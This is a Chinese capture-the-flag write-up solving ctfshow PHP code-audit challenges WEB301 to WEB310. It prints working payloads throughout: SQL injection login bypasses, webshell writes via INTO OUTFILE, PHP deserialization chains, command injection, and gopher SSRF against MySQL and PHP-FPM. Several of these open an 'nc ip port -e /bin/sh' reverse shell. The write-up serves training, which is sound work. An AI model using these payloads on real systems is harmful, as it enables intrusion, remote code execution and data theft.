这个系列做起来有点爽啊(痴呆:D)
WEB301
一来就是个登录界面,下载源码,这应该是login.php,看一下,真正有用的只有一点
<?php session_start(); ?> <div class="am-u-sm-10 login-am-center"> <form class="am-form" action="checklogin.php" method="post" > <fieldset> <div class="am-form-group"> <input type="text" class="" name="userid" id="" placeholder="输入登陆名称"> </div> <p> <div class="am-form-group"> <input type="password" class="" name="userpwd" id="" placeholder="输入登陆密码"> </div> <p><button type="submit" class="am-btn am-btn-default">登录</button></p> </fieldset> </form> </div>
看来提交之后会交给checklogin.php里面,继续审
<?php error_reporting(0); session_start(); require 'conn.php'; $_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:""; $_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:""; $username=$_POST['userid']; $userpwd=$_POST['userpwd']; $sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;"; //echo $sql; //这些注释语句是我自己的调试代码 $result=$mysqli->query($sql); //print_r($result); $row=$result->fetch_array(MYSQLI_BOTH); if($result->num_rows<1){ //echo 1; $_SESSION['error']="1"; header("location:login.php"); return; } /*print_r($userpwd); echo "\n"; print_r($row['sds_password']); echo "\n";*/ if(!strcasecmp($userpwd,$row['sds_password'])){ //echo 2; $_SESSION['login']=1; $result->free(); $mysqli->close(); header("location:index.php"); return; } $_SESSION['error']="1"; //echo 3; header("location:login.php"); ?>
注意这一句:
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
明显有个SQL注入
还看到了一个有趣的东西
if(!strcasecmp($userpwd,$row['sds_password'])){ //echo 2; $_SESSION['login']=1; //注意这里 $result->free(); $mysqli->close(); header("location:index.php"); return; }
其它操作session的地方都是操作$_SESSION['error'],这里操作的是$_SESSION['login'],估计是用来校验登录的。猜测应该是要走到这个循环里面才可以。为了验证想法,看了看其它的文件,在index.php里面验证了我的猜想
<?php session_start(); require "conn.php"; if(!isset($_SESSION['login'])){ header("location:login.php"); } ?>
必须要$_SESSION['login']存在才能看index.php的内容,那估计flag应该在里面了。
剩下的就是怎么进循环,首先校验了结果的行数不能小于1,就是只要有就行,那好办,直接SQL注入拼接就行,两种方式:
1.用户名填1' or 1=1#
全部可以注出来。
接下来是strcasecmp函数的返回值要为0,看了一下php手册,是个字符串比较函数,其实猜都能猜到估计得有传入数组的问题。一查果然,参见这篇文章:CTF中常见的PHP知识点总结 | ChaBug安全
所以密码抓包改数组就行了,返回值是null,正好进循环
payload:向checklogin.php提交POST参数:
userid=1' or 1=1#&userpwd[]=11
2.userid=1' union select 1#&userpwd=1
原理:首先执行SQL语句,结果只有一个1,但是这个1在sds_password字段里面,结果行数肯定满足了。接下来进循环,sds_password的值是我们自定义的,只要userpwd保持一致就可以通过验证。相当于是利用联合查询做了个结果伪造
再访问index.php,在页面上拿到flag
另一种姿势:直接用SQL注入写shell
userid=1' union select "<?php eval($_POST[1]);?>" from sds_user into outfile "/var/www/html/1.php"#&userpwd=11
(完全没有任何过滤的SQL真爽)
同时,这道题我是用phpstudy复现的环境,在源码的.sql文件中还有conn.php中可以找到相关配置,用Navicat连接本地数据库执行.sql文件里面的SQL语句就可以复现了
WEB302
改了一句话:循环校验变成了if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
对SQL语句的执行没啥影响,直接写shell秒了。
数组绕过不行了,md5对数组加密可以返回正常字符串。但是仍然可以伪造sds_password字段,本地实践一下
那么payload还可以是userid=1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#&userpwd=1
WEB303
首先最关心的还是checklogin.php,发现来了个狠的...
if(strlen($username)>6){ die(); }
好嘛,前面的武功全废了,6个字母够干啥的...
只有继续看,发现fun.php里面多了个东西
<?php function sds_decode($str){ return md5(md5($str.md5(base64_encode("sds")))."sds"); } echo sds_decode("admin");//注意这个 ?>
可是这个明明没有任何用处啊?难道逗我?
就在这个时候我灵光一现!这就是提示啊!
所以其实就是个弱口令,账号密码都是admin(我真是个天才)
进到index.php,发现文字表格能点,看了一下url是dpt.php,再看源码发现了一个dptadd.php,也在页面上发现了添加数据的按钮,但是显然不能通过正常的方式去加数据,那样啥用没有...
审一下dptadd.php:
<?php session_start(); require 'conn.php'; if(!isset($_SESSION['login'])){ header("location:login.php"); return; }else{ //注入点 $_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL; $_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL; $_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL; $_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL; $_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL; $_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL; $dpt_name=$_POST['dpt_name']; $dpt_address=$_POST['dpt_address']; $dpt_build_year=$_POST['dpt_build_year']; $dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0"; $dpt_cert_number=$_POST['dpt_cert_number']; $dpt_telephone_number=$_POST['dpt_telephone_number']; $mysqli->query("set names utf-8"); $sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';"; $result=$mysqli->query($sql); echo $sql; if($result===true){ $mysqli->close(); header("location:dpt.php"); }else{ die(mysqli_error($mysqli)); } } ?>
利用点就是那个insert语句,单独挑出来看看:
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
参数全部可控,这里insert之后可以在页面上看回显,那就要想可不可以往参数里加select语句执行之后看结果,显然可以,结合注释符随便拼接,干掉引号。注意对日期格式是有要求的,可以到源码的.sql文件里面去看,照猫画虎。
再回到页面上,有回显了。
接下来就是传统艺能了,注列名注字段名注数据,最后的payload是这样的:
页面回显flag:
搞定~
(一开始还想能不能写个shell进去,但是貌似这里的select语句不能写into outfile,不合语法,那就直接来了)
当然也不用把所有参数值都设定好,只要主键非空就可以了,所以payload还可以类似于:
dpt_name=1',sds_address =(select database())#
WEB304
说多了waf,但是没发现多在哪里,上一题的payload基本照抄,表名变了一下,其它没啥好说的
WEB305
审计源代码,发现checklogin.php里面有个反序列化漏洞
$user_cookie = $_COOKIE['user']; if(isset($user_cookie)){ $user = unserialize($user_cookie); }
再去看class.php,发现有个可利用类user:
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-17 13:20:37 # @Last Modified by: h1xa # @Last Modified time: 2020-12-17 13:33:21 # @email: [email protected] # @link: https://ctfer.com */ class user{ public $username; public $password; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __destruct(){ file_put_contents($this->username, $this->password); } }
在cookie里面写user=O%3a4%3a"user"%3a2%3a{s%3a8%3a"username"%3bs%3a19%3a"/var/www/html/1.php"%3bs%3a8%3a"password"%3bs%3a24%3a"<%3fphp+eval($_POST[1])%3b%3f>"%3b}直接可以写shell,蚁剑连接1.php拿到shell
进去了之后半天没找到flag,那flag应该是在数据库里面了
但是fun.php里面sds_waf函数过滤得太多了,咋办呢?骚操作这不就来了
都拿到shell了,直接改fun.php的内容啊!把过滤直接删掉就行了!(刚好/var/www/html是个可写目录)
接下来直接在dptadd.php里面常规操作,flag到手~
也可以用蚁剑直连数据库
添加配置:(在conn.php中看账号密码)
直连即可
WEB306
这道题主要是学习师傅们是怎么找的:
首先找可利用函数,优先找__wakeup,__destruct还有可利用的,比如读文件写文件啥的。
在class.php里面找到了一个log类可利用:
class log{ public $title='log.txt'; public $info=''; public function loginfo($info){ $this->info=$this->info.$info; } public function close(){ file_put_contents($this->title, $this->info); } }
接下来就要去看哪里调用了close方法,可以使用字符串搜索(现在要有这种意识!找利用链!)
最后在dao.php里面找到了我们想要的东西:
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-17 15:03:23 # @Last Modified by: h1xa # @Last Modified time: 2020-12-17 15:41:14 # @email: [email protected] # @link: https://ctfer.com */ require 'config.php'; require 'class.php'; class dao{ private $config; private $conn; public function __construct(){ $this->config=new config(); $this->init(); } private function init(){ $this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db()); } public function __destruct(){ $this->conn->close(); //注意这里 } public function get_user_password_by_username($u){ $sql="select sds_password from sds_user where sds_username='".$u."' order by id limit 1;"; $result=$this->conn->query($sql); $row=$result->fetch_array(MYSQLI_BOTH); if($result->num_rows>0){ return $row['sds_password']; }else{ return ''; } } }
这个$this->conn只是个属性,我们可控。那么接下来看哪里引用了这个dao.php的反序列化点,搜索字符串dao.php,在index.php里面找到了
<?php session_start(); require "conn.php"; require "dao.php"; $user = unserialize(base64_decode($_COOKIE['user'])); if(!$user){ header("location:login.php"); } ?>
所以最终的poc:
<?php class dao{ private $conn; public function __construct(){ $this->conn=new log(); } public function __destruct(){ $this->conn->close(); } } class log{ public $title='log.php'; public $info='<?php eval($_POST[1]);?>'; public function close(){ file_put_contents($this->title, $this->info); } } echo base64_encode(serialize(new dao()));
在cookie里面带上user,值就是base64后的序列化结果,访问index.php,写入shell成功,flag在flag.php里面
WEB307
先审一下自带的类和方法,在dao类发现了一个有意思的方法
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-17 15:03:23 # @Last Modified by: h1xa # @Last Modified time: 2020-12-18 01:55:22 # @email: [email protected] # @link: https://ctfer.com */ require 'config/config.php'; require 'class.php'; class dao{ private $config; private $conn; public function __construct(){ $this->config=new config(); $this->init(); } private function init(){ $this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db()); } public function __destruct(){ $this->conn->close(); } public function get_user_password_by_username($u){ $sql="select sds_password from sds_user where sds_username='".$u."' order by id limit 1;"; $result=$this->conn->query($sql); $row=$result->fetch_array(MYSQLI_BOTH); if($result->num_rows>0){ return $row['sds_password']; }else{ return ''; } } public function get_dpt_all(){ $sql="select * from sds_dpt;"; $result=$this->conn->query($sql); $dpt_array = array(); if($result->num_rows>0){ while($row=$result->fetch_array(MYSQLI_BOTH)){ array_push($dpt_array, new dpt($row['id'],$row['sds_name'],$row['sds_address'],$row['sds_build_date'],$row['sds_have_safe_card'],$row['sds_safe_card_num'],$row['sds_telephone'])); } } return $dpt_array; } public function insert_dpt($u,$a,$b,$h,$c,$p){ $sql="insert INTO `sds_dpt` (`sds_name`, `sds_address`, `sds_build_date`, `sds_have_safe_card`, `sds_safe_card_num`, `sds_telephone`) VALUES ('$u', '$a', '$b', '$h', '$c', '$p');"; $result=$this->conn->query($sql); return $result; } public function clearCache(){ shell_exec('rm -rf ./'.$this->config->cache_dir.'/*'); //注意这个方法 } }
clearCache方法是可以执行命令的,可以自定义$this->config->cache_dir属性。
考虑有没有对这个方法的调用,整个项目中搜索字符串clearCache,发现在logout.php里面有调用:
<?php session_start(); error_reporting(0); require 'service/service.php'; unset($_SESSION['login']); unset($_SESSION['error']); setcookie('user','',0,'/'); $service = unserialize(base64_decode($_COOKIE['service'])); if($service){ $service->clearCache(); //注意这里 } setcookie('PHPSESSID','',0,'/'); setcookie('service','',0,'/'); header("location:../login.php"); ?>
反序列化的点找到了,还可以直接调用目标方法,那直接可以RCE了
<?php class config { private $mysql_username = 'root'; private $mysql_password = 'phpcj'; private $mysql_db = 'sds'; private $mysql_port = 3306; private $mysql_host = 'localhost'; public $cache_dir = ';nc ip port -e /bin/sh;'; //自定义cache_dir进行命令拼接 } class dao { private $config; private $conn; public function __construct() { $this->config=new config(); } } $a=new dao(); echo urlencode(base64_encode(serialize($a)));
将结果放到$_COOKIE['service']里面,带着cookie访问/controller/logout.php,反弹shell成功,查看flag.php即可~
(或者直接写shell也行,命令改成;echo "<?php eval(\$_POST[1]);?>" >1.php;)
WEB308
做题的时候有两个误区:一个是以为执行header重定向之后就不会执行下面的语句了,所以疯狂地绕login逻辑没绕过去...
第二个是看到curl_exec以为是反弹shell,但其实这里正常的curl会话是不会把结果进一步处理的。所以正确的利用方式应该是利用gopher协议打SSRF,正好数据库没有密码,适用
gopher协议支持发出GET、POST请求:可以先拦截get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。
curl可以用来SSRF,支持file,dict,gopher等多种协议
可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。
格式:gopher://IP:port/_{TCP/IP数据流}
上一道题的利用方法失效了,因为clearCache方法里面加了过滤:
public function clearCache(){ if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){ shell_exec('rm -rf ./'.$this->config->cache_dir.'/*'); } }
这里拼接不了了,再看有没有其他可利用的点,发现了多了个checkVersion方法
public function checkVersion(){ return checkUpdate($this->config->update_url); }
看看checkUpdate方法(fun.php)
function checkUpdate($url){ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $res = curl_exec($ch); curl_close($ch); return $res; }
这个里面有SSRF的利用点,可以传入gopher协议打SSRF
再看哪里调用了checkVersion方法,在index.php里面找到了:
<?php session_start(); error_reporting(0); require 'controller/service/service.php'; if(!isset($_SESSION['login'])){ #header("location:login.php"); } $service = unserialize(base64_decode($_COOKIE['service'])); print_r($service); if($service){ echo 1; $lastVersion=$service->checkVersion(); //调用 } ?>
注意执行header重定向之后依然会执行下面的语句,准确来说,这里是先执行了所有语句再返回响应(php执行完毕->返回响应->重定向)
然后用gopherus生成payload,下载地址:https://github.com/tarunkant/Gopherus
直接抓包POST
再访问1.php,搞定
WEB309
这道题说数据库有密码了,所以没办法用gopher协议打mysql,但是我们可以打PHP-FPM(默认端口9000)
p牛博客详解:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 | 离别歌 (leavesongs.com)
简单来说,fastcgi就是服务器中间件和后端之间的一个通信协议,PHP-FPM是根据这种协议来进行信息交换的管理器,实现中间件和后端的信息交互。
如果可以用gopher协议直接与PHP-FPM进行通信,就可以发送精心构造的恶意数据包,从而让PHP-FPM执行任意命令后返回结果
只需要一个已知存在的php文件即可
生成payload:(注意这里默认的pear.php应该是没有的,自己指定一个肯定存在的就好)
脚本:
<?php class config { public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH73%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00I%04%00%3C%3Fphp%20system%28%27nc%20ip%20port%20-e%20/bin/sh%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'; } class dao { private $config; private $conn; public function __construct() { $this->config = new config(); } } $a = new dao(); echo urlencode(base64_encode(serialize($a)));
WEB310
看羽师傅的wp说9000关着了,不过我跟上一题一样打9000貌似也行?
预期是6379和9000都关着,先用file协议读配置文件
<?php class config { public $update_url = 'file:///etc/nginx/nginx.conf'; } class dao { private $config; private $conn; public function __construct() { $this->config = new config(); } } $a = new dao(); echo urlencode(base64_encode(serialize($a)));
发现关键信息
server { listen 4476; server_name localhost; root /var/flag; index index.html; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }
也就是说直接访问4476端口可以拿到flag
那么就直接访问就ok:
<?php class config { public $update_url = 'http://127.0.0.1:4476'; } class dao { private $config; private $conn; public function __construct() { $this->config = new config(); } } $a = new dao(); echo urlencode(base64_encode(serialize($a)));
拿到flag
参考文章:
ctfshow之php代码审计 - FreeBuf网络安全行业门户
文章评论